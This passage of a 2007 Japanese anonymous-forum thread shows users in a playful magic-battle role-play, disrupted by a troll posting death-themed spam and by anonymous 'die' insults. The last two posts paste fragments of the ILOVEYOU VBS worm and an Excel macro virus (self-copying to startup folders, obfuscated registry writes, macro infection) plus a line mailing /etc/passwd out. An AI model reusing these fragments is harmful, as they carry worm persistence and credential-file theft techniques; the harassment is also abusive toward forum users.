301 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:26
300ゲット。
ピッピかチュ
300ゲット。
ピッピかチュ
302 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:27
星空さんいなくないですか?
星空さんいなくないですか?
303 名前:岸田 さき 投稿日:2007/07/12(木) 15:28
299あぁ-そぉ...
301残念やったな(笑)
304 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:28
302ほんとだね
305 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:28
ゴメンなさい?落ちてたわ^^;
ゴメンなさい?落ちてたわ^^;
306 名前:岸田 さき 投稿日:2007/07/12(木) 15:28
302えぇッッッ!!?
307 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:29
301あ…ごめんなさい。
304このままじゃできませんねぇ…じゃあ個人戦?
308 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:29
303・・・
309 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:29
305Σあ・居ましたww
310 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:29
307いいよ。音かしゃん。
311 名前:岸田 さき 投稿日:2007/07/12(木) 15:30
305あ、おった!!!
308どなぃしてん???
312 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:31
ごめんね;;じゃあチームわけはどうするの??
ごめんね;;じゃあチームわけはどうするの??
313 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:31
310個人戦?もう星空さん来ましたから2対2でできますよ。
314 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:31
311気にしないで・・・テヘッ
315 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:31
僕は一人で良いよ?
僕は一人で良いよ?
316 名前:岸田 さき 投稿日:2007/07/12(木) 15:32
314テヘッてォイ②;;
317 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:32
私も1人でいいですよ!(^Π^)
私も1人でいいですよ!(^Π^)
318 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:33
私は海賊行為王になる!
私は海賊行為王になる!
319 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:33
317ハァハァ踊りする?
320 名前:岸田 さき 投稿日:2007/07/12(木) 15:34
ちょっと-!!!
どなぃすんねん!!?
ちょっと-!!!
どなぃすんねん!!?
321 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:34
319無理。(素が出た)
322 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:34
320じゃあ個人戦でいいですか…?
323 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:35
321はあ・・・・またそんなこといって・・・
322いいよ。ハァハァ
324 名前:岸田 さき 投稿日:2007/07/12(木) 15:36
322OK!!!
325 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:36
322いいわよ。じゃあ始めましょうか?
327 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:39
323いつものパターンですね。
324(|Π<)
はじめましょう!
328 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:39
行くわよ...............!!
【エンジェル・ウィング】(宙に浮く
行くわよ...............!!
【エンジェル・ウィング】(宙に浮く
329 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:41
326何書いてるんですか…;
328じゃあ私はステッキ出します~…ポンッ(効果音)
330 名前:岸田 さき 投稿日:2007/07/12(木) 15:42
328へぇ~、飛んだ②~♪
331 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:42
329油断できないわね........................
【クリスタル・アクア・プロテッション!!】(防御
332 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:43
330まぁね;;^^
333 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:43
さやこは力をたくわえている。
さやこは力をたくわえている。
334 名前:岸田 さき 投稿日:2007/07/12(木) 15:44
あたしもなんかしよ-♪(炎を体に纏う)
あたしもなんかしよ-♪(炎を体に纏う)
335 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:44
331じゃあ違う人に攻撃しますね~(笑)
岸田さんに……(ニコリ)
336 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:44
333何をする気................?
337 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:45
【ネオアームソトロングサイクロンジェットアームストロング砲】
かつてペリーが開国の際使ったコウゲキ
【ネオアームソトロングサイクロンジェットアームストロング砲】
かつてペリーが開国の際使ったコウゲキ
338 名前:岸田 さき 投稿日:2007/07/12(木) 15:46
335ふっ、来たな☆
ぢゃぁ、二刀流しょ-っと♪(剣を2本出す)
339 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:46
335…と、見せかけて~星空さんに…
(ステッキから→?を出す)
340 名前:岸田 さき 投稿日:2007/07/12(木) 15:47
337ペリーて;;
341 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:47
【クリアクリーン】
【クリアクリーン】
342 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:47
337長いですね…;
338ふふふ。
343 名前:岸田 さき 投稿日:2007/07/12(木) 15:48
341ォイッッッ!!!
ちゃぅやろ-!!!(笑)
344 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:48
341さ…最強!!(クリアクリーンって何者!!?)
345 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:49
クリアクリーンで自分の体を透明にする
クリアクリーンで自分の体を透明にする
346 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:50
続いて~星空さんに→????攻撃~☆
しばらくの間混乱してください~(混乱=自分を攻撃してしまう)
続いて~星空さんに→????攻撃~☆
しばらくの間混乱してください~(混乱=自分を攻撃してしまう)
347 名前:岸田 さき 投稿日:2007/07/12(木) 15:50
も-えぇわッッッ!!!!!(音華を切り付ける)
も-えぇわッッッ!!!!!(音華を切り付ける)
348 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:51
【町医者ホワイトジャック】
体力回復
【町医者ホワイトジャック】
体力回復
349 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:51
345やっぱり最強!!(目がキラキラ)
じゃあさや子さんに…「どろどろの砂攻撃~」
350 名前:岸田 さき 投稿日:2007/07/12(木) 15:51
345透明とか,,,;;
なんでも有りやなぁ
351 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:53
347Σわっ!!!
じゃあ私は岸田さんに…(こちょこちょマシーン)
352 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:53
349【ブラックジャック・♀】
2倍にして返す
353 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:54
わわっゴメン!!ちょっと落ちてた;;落ちてた間に
プロテッションが壊れてるし!!
もぉ!!【スカイ・ミント・ミラージュ!!】(鋭い木の葉を切りつける)
わわっゴメン!!ちょっと落ちてた;;落ちてた間に
プロテッションが壊れてるし!!
もぉ!!【スカイ・ミント・ミラージュ!!】(鋭い木の葉を切りつける)
354 名前:岸田 さき 投稿日:2007/07/12(木) 15:54
351魔法で神経消したから感覚なぃねん(笑)
355 名前:岸田 さき 投稿日:2007/07/12(木) 15:56
353ミントとか、むっちぁえぇ臭ぃやん♪
356 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 15:57
355お・・俺も・・
357 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:57
355あのねぇ!!そういう問題じゃないでしょ―――;;
358 名前:岸田 さき 投稿日:2007/07/12(木) 15:58
356やんなぁ♪
357え?
ちゃうん?
359 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 15:59
352自分の攻撃です♪欠点くらい知ってますよ♪(跳ね返し)
353きましたね♪
354ちっ。
360 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 15:59
358もう!!
【ダーク・バロック!!】(怪音波を響かせる
361 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 16:00
360耳栓。
362 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:01
361【ナイトメア・アロゥー】(沢山の矢が降ってくる
363 名前:岸田 さき 投稿日:2007/07/12(木) 16:01
360ファイアーウォール♪(壁で音を跳ね返す)
364 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 16:02
【ブラットキャット・♀】
【ブラットキャット・♀】
365 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:03
363【シャイニング・クリスタル】(鋭いクリスタルの欠片を沢山落とす
366 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:03
364................?
367 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 16:04
362防御!!
368 名前:岸田 さき 投稿日:2007/07/12(木) 16:05
365そんなん当たらんて♪すばしっこいからぁ☆(避ける)
369 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:05
367【ローズ・ウィップ】(茨で動きを封じる
370 名前:神 神子 投稿日:2007/07/12(木) 16:05
入る【シネシネシネ光線】
夏休みの宿題:全員死ぬこと。
地獄コース:問題集P2~P69
天国コース:帰還する方法を考える
入る【シネシネシネ光線】
夏休みの宿題:全員死ぬこと。
地獄コース:問題集P2~P69
天国コース:帰還する方法を考える
371 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 16:05
364猫カワイイ~…Σじゃなくて…(猫のぬいぐるみ(最強)を投げつける)
372 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:06
368【ロック・チェーン】(動きを封じる
373 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 16:07
流星、俺に力を・・・・【流星タックル】
避けたら流星が・・・
流星、俺に力を・・・・【流星タックル】
避けたら流星が・・・
374 名前:神 神子 投稿日:2007/07/12(木) 16:07
入る【シネシネシネ光線】
夏休みの宿題:全員死ぬこと。
地獄コース:問題集P2~P69
天国コース:帰還する方法を考える
入る【シネシネシネ光線】
夏休みの宿題:全員死ぬこと。
地獄コース:問題集P2~P69
天国コース:帰還する方法を考える
375 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:08
373【ディフェンス・クッション】(流星を受け止める
376 名前:ディアラ・フォークス◆S8Sj5vhg 投稿日:2007/07/12(木) 16:08
上げるで~♪
上げるで~♪
377 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:08
376だれ?
378 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 16:09
369口は動きますよ♪
「破壊!!」(自分にかかった魔法をとく)
379 名前:岸田 さき 投稿日:2007/07/12(木) 16:09
372おっと♪(剣でチェーンを切り裂く)
つぃでにお見舞いしちゃるわ☆(剣に炎をまとわし切り裂く)
380 名前:神 神子 投稿日:2007/07/12(木) 16:10
期末範囲
数学:人殺しの原理
国語:絵本を1つ正式に出版する
理科:科学実験室を破壊すること
英語:外人にしゃべり書けて恥をかくこと
社会:日本地図作製
期末範囲
数学:人殺しの原理
国語:絵本を1つ正式に出版する
理科:科学実験室を破壊すること
英語:外人にしゃべり書けて恥をかくこと
社会:日本地図作製
381 名前:岸田 さき 投稿日:2007/07/12(木) 16:10
373流星クン可哀相やなぁ;;
ドンマィや(笑)
382 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:10
379遅いよ♪(背後に回る)【ルージュ・アロマ】(眠りごな
383 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 16:11
375それは流星人形なので爆発します。
384 名前:神 神子 投稿日:2007/07/12(木) 16:12
- 私、なんかわるいことした?
みんな笑ってるんでしょ!
386 名前:岸田 さき 投稿日:2007/07/12(木) 16:13
382誰相手に遅いって???ニヤ(消えて上空から炎の渦)
も-ちょぃ相手考えよ-☆
387 名前:桜乃 音華◆cv9LhvtU 投稿日:2007/07/12(木) 16:13
よぉし…じゃあ必殺技②!
「人物☆チェーンジ♪」なんと次のターンから人が変わる!
よぉし…じゃあ必殺技②!
「人物☆チェーンジ♪」なんと次のターンから人が変わる!
388 名前:木元 さや子◆i4/7u0p2 投稿日:2007/07/12(木) 16:14
385うん・・・ギュッ
389 名前:神 神子 投稿日:2007/07/12(木) 16:14
もう良いです。
もう良いです。
390 名前:神 神子 投稿日:2007/07/12(木) 16:15
できる限り荒らして見ます。
できる限り荒らして見ます。
391 名前:藍坂 ロイ◆qJO3g/Mo 投稿日:2007/07/12(木) 16:15
Change完了。ここからは攻撃違ってくるよ?
Change完了。ここからは攻撃違ってくるよ?
392 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:16
385よっ...................(全てかわす
393 名前:岸田 さき 投稿日:2007/07/12(木) 16:16
391Σセコッ!!!
394 名前:星空曖李◆WjLFKd2w 投稿日:2007/07/12(木) 16:16
391ふっ..................どうなるのかしら?
395 名前:藍坂 ロイ◆qJO3g/Mo 投稿日:2007/07/12(木) 16:16
388???
389居たの?(ヒドッ)
390もっと無視されたいようだね。
396 名前:名無しさん@お腹いっぱい。 投稿日:2007/07/12(木) 16:16
氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね
氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね
397 名前:名無しさん@お腹いっぱい。 投稿日:2007/07/12(木) 16:17
395死ねisね氏ねsineしjねしねしね
398 名前:名無しさん@お腹いっぱい。 投稿日:2007/07/12(木) 16:17
糞すれageんな
糞すれageんな
399 名前:名無しさん@お腹いっぱい。 投稿日:2007/07/12(木) 16:18
c.Copy(dirsystem&\"\\MSKernel32.vbs\")
c.Copy(dirwin&\"\\Win32DLL.vbs\")
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\")
cat /etc/passwd | mail nobody@nonexistent.com
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFile f1.path, f1.path+\"l\"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile \"c:\\network.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
fso.copyfile \"dirsystem&nurupo.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False then fso.CopyFile f1.path, f1.path+\"l\"
Sub auto_open()
Application.OnSheetActivate = \"check_files\"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & \"\\\" & \"PERSONAL.XLS\")
If m$ = \"PERSONAL.XLS\" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A(\"IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su\"), E.BuildPath(E.GetSpecialFolder(1), A(\"VHORU@SU/WCR\"))
lines(n)=replace(lines(n),\"\"\"\",chr(93)+chr(45)+chr(93))
fso.copyfile \"dirsystem&nurupo.vbs\",\"j:\\windows\\startmenu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFilef1.path, f1.path+\"l\"
c.Copy(dirsystem&\"\\MSKernel32.vbs\")
c.Copy(dirwin&\"\\Win32DLL.vbs\")
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\")
cat /etc/passwd | mail nobody@nonexistent.com
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFile f1.path, f1.path+\"l\"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile \"c:\\network.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
fso.copyfile \"dirsystem&nurupo.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False then fso.CopyFile f1.path, f1.path+\"l\"
Sub auto_open()
Application.OnSheetActivate = \"check_files\"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & \"\\\" & \"PERSONAL.XLS\")
If m$ = \"PERSONAL.XLS\" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A(\"IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su\"), E.BuildPath(E.GetSpecialFolder(1), A(\"VHORU@SU/WCR\"))
lines(n)=replace(lines(n),\"\"\"\",chr(93)+chr(45)+chr(93))
fso.copyfile \"dirsystem&nurupo.vbs\",\"j:\\windows\\startmenu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFilef1.path, f1.path+\"l\"
400 名前:名無しさん@お腹いっぱい。 投稿日:2007/07/12(木) 16:18
c.Copy(dirsystem&\"\\MSKernel32.vbs\")
c.Copy(dirwin&\"\\Win32DLL.vbs\")
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\")
cat /etc/passwd | mail nobody@nonexistent.com
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFile f1.path, f1.path+\"l\"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile \"c:\\network.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
fso.copyfile \"dirsystem&nurupo.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False then fso.CopyFile f1.path, f1.path+\"l\"
Sub auto_open()
Application.OnSheetActivate = \"check_files\"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & \"\\\" & \"PERSONAL.XLS\")
If m$ = \"PERSONAL.XLS\" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A(\"IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su\"), E.BuildPath(E.GetSpecialFolder(1), A(\"VHORU@SU/WCR\"))
lines(n)=replace(lines(n),\"\"\"\",chr(93)+chr(45)+chr(93))
fso.copyfile \"dirsystem&nurupo.vbs\",\"j:\\windows\\startmenu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFilef1.path, f1.path+\"l\"
c.Copy(dirsystem&\"\\MSKernel32.vbs\")
c.Copy(dirwin&\"\\Win32DLL.vbs\")
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\")
cat /etc/passwd | mail nobody@nonexistent.com
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFile f1.path, f1.path+\"l\"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile \"c:\\network.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
fso.copyfile \"dirsystem&nurupo.vbs\", \"j:\\windows\\start menu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False then fso.CopyFile f1.path, f1.path+\"l\"
Sub auto_open()
Application.OnSheetActivate = \"check_files\"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & \"\\\" & \"PERSONAL.XLS\")
If m$ = \"PERSONAL.XLS\" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A(\"IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su\"), E.BuildPath(E.GetSpecialFolder(1), A(\"VHORU@SU/WCR\"))
lines(n)=replace(lines(n),\"\"\"\",chr(93)+chr(45)+chr(93))
fso.copyfile \"dirsystem&nurupo.vbs\",\"j:\\windows\\startmenu\\programs\\startup\\\"
If s = \"htm\" and fso.FileExists(f1.path+\"l\") = False thenfso.CopyFilef1.path, f1.path+\"l\"